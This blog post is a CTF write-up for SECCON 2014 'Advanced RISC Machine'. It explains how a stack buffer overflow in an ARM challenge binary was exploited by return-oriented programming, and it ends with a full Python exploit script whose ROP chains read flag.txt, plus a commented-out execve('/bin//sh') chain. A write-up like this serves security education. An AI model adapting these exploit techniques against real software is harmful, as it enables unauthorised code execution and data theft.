본문 바로가기

Games/CTF

SECCON 2014 Advanced RISC Machine

A quick reversing tells us this binary simply reads newline terminated input from user and compares it to a password. However, even if we provide a correct password or not, the program simply ends.




but we can see there is a simple stack-based buffer overflow while reading the user input.

so it is an easy ROP challenge.(there is NX)

All I need to do is...


open('flag.txt')

read(3, buf, 100)

write(1, buf, 100)


however, I couldn't run the binary from my local ARMv7 QEMU environment.

it turns out that this binary uses different ABI (ARM EABI, other than UNIX System V), and because of this

I needed a correct ARM kernel to run this binary. this seemed to be picky :(


So I just started to build ROP exploit payload without debugging at all.

I simply analyzed the server response to check if my exploits codes are partially running.


for example, I can ROP to 0x42EC which prints "OK. Read flag.txt" after running some of my ROP codes.

in this way, I can tell if my exploit code caused SEGFAULT or not.


I used two gadgets which allows me to control R0 and R1~R3.

(since, the ABI is different, this binary uses r0 as system call number instead of r7)

we can easily find such gadgets from the binary.


After I build my ROP payload. I confirmed that it doesn't raises SEGFAULT. but

the exploit didn't gave me the flag. and figuring the reason of this was the challenging part :(


It turns out that the file descriptor number from open wasn't 3 at all.

and it was randomly picked from range 3 ~ 255.

I was able to leak the r0 value from open from the error message

because, if we invoke some system call with a wrong number, server gives us

"Invalid System Call Number ??" kind of message.

So, in this way, I could tell the R0 value any time.


anyway, brute-forcing the file descriptor number was easy.

So I got flag by repeating the exploit about 2~30 times.



# full exploit

from socket import *

import sys, os, struct, time, random, urllib, urllib2, string, hashlib


# common stuffs

p  = lambda x: struct.pack("<L", x)

pq = lambda x: struct.pack("<Q", x)

ph = lambda x: struct.pack("<H", x)

pb = lambda x: struct.pack("<B", x)


# pwn

#s = socket(AF_INET, SOCK_STREAM)

#s.connect( ('micro.pwn.seccon.jp', 10001) )

payload = ''


FLAG = 0x4355

SETR0 = 0x4174

SETR123 = 0x42b0

SYSCALL = 0x4028

BUF = 0x1ffff000 - 0x28


payload += '/bin//sh\x00RYMUCH123456789DDDD'


'''

# execve("/bin//sh", 0, 0);

payload += p(SETR0)

payload += p(0x0b0b0b0b)

payload += p(SETR123)

payload += p(BUF)

payload += p(0)         # O_RDONLY

payload += p(0)         # 0000 mask

payload += 'A'*16

payload += p(SYSCALL)

'''


# open(FLAG, 0)

payload += p(SETR0)

payload += p(0x05050505)

payload += p(SETR123)

payload += p(FLAG)

payload += p(0) # O_RDONLY

payload += p(0) # 0000 mask

payload += 'A'*16

payload += p(SYSCALL)


# read(3, BUF, 256)

payload += p(SETR0)

payload += p(0x03030303)

payload += p(SETR123)

payload += p(0x1d)

payload += p(BUF)

payload += p(256)

payload += 'A'*16

payload += p(SYSCALL)


# write(1, BUF, 256)

payload += p(SETR0)

payload += p(0x04040404)

payload += p(SETR123)

payload += p(1)

payload += p(BUF)

payload += p(29)

payload += 'A'*16

payload += p(SYSCALL)


#test

payload += p(SETR123)

payload += p(1)

payload += p(0x4340)

payload += p(0x10)

payload += 'AAAABBBBCCCCDDDD'

payload += p(SETR0)

payload += p(0x04000000)

payload += p(SYSCALL)


print payload


#s.send(payload)

#s.recv(1024)




'Games > CTF' 카테고리의 다른 글

JFF3 BlindFSB  (0) 2015.07.31
GITS 2014 TI-1337  (0) 2014.12.22
hack.lu callgate writeup  (0) 2014.10.28
DEFCON 2014 sftp writeup  (0) 2014.05.23
DEFCON 2014 babyfirst heap writeup  (0) 2014.05.22